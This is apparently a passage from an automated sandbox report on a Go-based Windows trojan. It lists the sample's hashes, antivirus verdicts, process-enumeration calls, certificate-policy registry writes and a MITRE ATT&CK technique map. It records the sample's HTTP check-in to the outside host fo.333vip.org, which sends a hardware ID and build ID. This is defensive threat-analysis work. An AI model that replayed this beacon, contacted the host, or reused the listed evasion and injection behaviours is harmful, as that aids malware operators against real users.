"6191102231246109123032189205174168086085057226234192191056247166154077186115146042202203183129093106078180049218195216190031217134072060059146228073165066128182170100198244035008146055244224197185062214083238085011084013019120075045093002008164142208239071117081006145140040180249082233095021179050085238224147006002243159246244009060043107093229192040100136106237197132019229057175060186233046177143151013194241189022208015168127035032106249226094032239238204236099235237083094092195164062013044238103180157145145091073152091180190150246251129110072243153175031050243197015235030126021038045100030254004118068097064011110181116025195121060113166114096040077030068222070056203046030234024024191026201195041066089235146174230019130163254044117126194149018026011197202170061114054068056163160104190202184242167161074014109245070234174197137198233164077163207083108129011047089147126054142076151078078156246068240184005056240126255056149209121164111210115184035180130218116248230206066067044225061052165021131224222009153166119" (Indicator: "005056") "0018002311407016806618005423100209307714724323622424401712709807519116410419425508306500009702514416913211508609618200702406614017325503609603009217501710024614804806604519309705913919704218715308824108916023213502102707122308119110421321219000311011615305102016122804500905705201121718503605307923506209903401403724815612319012312703122120300201517104313319906614807108900710419703425200618621901020614003616816707920120319309305807700923002023912500505614224800308217819114710914606115704314210418521004505302012523022105700215609421811100319120111010720917118113212816602904209613721703521621005512705124323722919024719721015502212905514608704706606517709409917205813614305214906810807223806617900011913222016012211808423222805416207014000518815909513507611908314709701006702616502620215322600500425123223904812420120410712617900216019703113111015314217416907203225215400918006124324715617712808612206919105903002904204523707808903007518014301717908223303111520105803713708407106425020006504313001824413706904715021720215" (Indicator: "005056")42:T5d2,"POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----b4a9626f7729d42627f7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0 Content-Length: 345 Host: fo.333vip.org" with payload::==> "------b4a9626f7729d42627f7Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-D6FD6A8------b4a9626f7729d42627f7Content-Disposition: form-data; name="build_id"b98dd86b169ec45dd28e99dcad12402a------b4a9626f7729d42627f7Content-Disposition: form-data; name="format"json------b4a9626f7729d42627f7--" HTTP/1.1 200 OK Date: Wed 07 Oct 2026 02:01:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare vary: Accept-Encoding cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=13 cfOrigin;dur=774 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ecmIq%2BUA4zqfrr0CLuxORsV7zlXc4T%2BgJE6cucjNByfwrovK5F258dNZfUFEUATMj8PMV6%2BHsEQY8TPt5iZ7YMFSZ0Fo0djw2FSKdw%2BZb5DOaU8QvxNrY4ERqQt1g2SI"}]} Content-Encoding: gzip CF-RAY: a46951625fca2599-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B.......43:T656,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32FirstW with parameter [System Process]" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter System" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter smss.exe" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter csrss.exe" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter wininit.exe" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter winlogon.exe" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter services.exe" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter lsass.exe" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter svchost.exe" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter fontdrvhost.exe" (UID: 00000000-00007980) "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" called "Process32NextW with parameter dwm.exe" (UID: 00000000-00007980)44:T10a7,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":77,"unified_at_epoch_ms":1791338576291,"unified_at":"2026-10-07T02:02:56.291Z","metadata":{"hashes":{"sha256":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9","sha1":"45f3ab20cc78e6da974703f7bf65dee8493b39df","md5":"1daec83a0a8e7909926a47f945058b89","sha512":"77735be12b6b80cc35b0ed2fcf7f1648927d16479c61e9ff5ef5d196678ea5697ae16f0d204d7caa5d7273e1c6adc8e9dcfb3b0c8a6be3b5aae3c6967c8ee967","ssdeep":"49152:CVOMyojiJnqvmNdUXJb4Mdhs2loH1+y6YjyztOMnoC6KW+BQs6/WTqj:zoObVYtN7PFTqj","ssdeep_chunks":["49152:CVOMyoj","49152:VOMyoji","49152:OMyojiJ","49152:MyojiJn","49152:yojiJnq","49152:ojiJnqv","49152:jiJnqvm","49152:iJnqvmN","49152:JnqvmNd","49152:nqvmNdU","49152:qvmNdUX","49152:vmNdUXJ","49152:mNdUXJb","49152:NdUXJb4","49152:dUXJb4M","49152:UXJb4Md","49152:XJb4Mdh","49152:Jb4Mdhs","49152:b4Mdhs2","49152:4Mdhs2l","49152:Mdhs2lo","49152:dhs2loH","49152:hs2loH1","49152:s2loH1+","49152:2loH1+y","49152:loH1+y6","49152:oH1+y6Y","49152:H1+y6Yj","49152:1+y6Yjy","49152:+y6Yjyz","49152:y6Yjyzt","49152:6YjyztO","49152:YjyztOM","49152:jyztOMn","49152:yztOMno","49152:ztOMnoC","49152:tOMnoC6","49152:OMnoC6K","49152:MnoC6KW","49152:noC6KW+","49152:oC6KW+B","49152:C6KW+BQ","49152:6KW+BQs","49152:KW+BQs6","49152:W+BQs6/","49152:+BQs6/W","49152:BQs6/WT","49152:Qs6/WTq","49152:s6/WTqj","98304:CVOMyoj","98304:VOMyoji","98304:OMyojiJ","98304:MyojiJn","98304:yojiJnq","98304:ojiJnqv","98304:jiJnqvm","98304:iJnqvmN","98304:JnqvmNd","98304:nqvmNdU","98304:qvmNdUX","98304:vmNdUXJ","98304:mNdUXJb","98304:NdUXJb4","98304:dUXJb4M","98304:UXJb4Md","98304:XJb4Mdh","98304:Jb4Mdhs","98304:b4Mdhs2","98304:4Mdhs2l","98304:Mdhs2lo","98304:dhs2loH","98304:hs2loH1","98304:s2loH1+","98304:2loH1+y","98304:loH1+y6","98304:oH1+y6Y","98304:H1+y6Yj","98304:1+y6Yjy","98304:+y6Yjyz","98304:y6Yjyzt","98304:6YjyztO","98304:YjyztOM","98304:jyztOMn","98304:yztOMno","98304:ztOMnoC","98304:tOMnoC6","98304:OMnoC6K","98304:MnoC6KW","98304:noC6KW+","98304:oC6KW+B","98304:C6KW+BQ","98304:6KW+BQs","98304:KW+BQs6","98304:W+BQs6/","98304:+BQs6/W","98304:BQs6/WT","98304:Qs6/WTq","98304:s6/WTqj","49152:zoObVYt","49152:oObVYtN","49152:ObVYtN7","49152:bVYtN7P","49152:VYtN7PF","49152:YtN7PFT","49152:tN7PFTq","49152:N7PFTqj"],"imphash":"c2d457ad8ac36fc9f18d45bffcd450c2"},"file_info":{"file_name":"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":12079024,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791338441000,"last_seen":1791338459000,"last_multi_scan":1791338459000}},"detections":{"summary":{"verdict":"malicious","score":77,"tags":["suspicious"]},"stats":{"av":{"malicious_count":4,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":67},"sandbox_signatures":{"informative_count":150,"suspicious_count":13,"malicious_count":1,"total":164},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_60% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/Kryptik.ABY trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/WinGo.J.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_60%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"YARA signature match - ChaCha20 encryption algorithm"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy 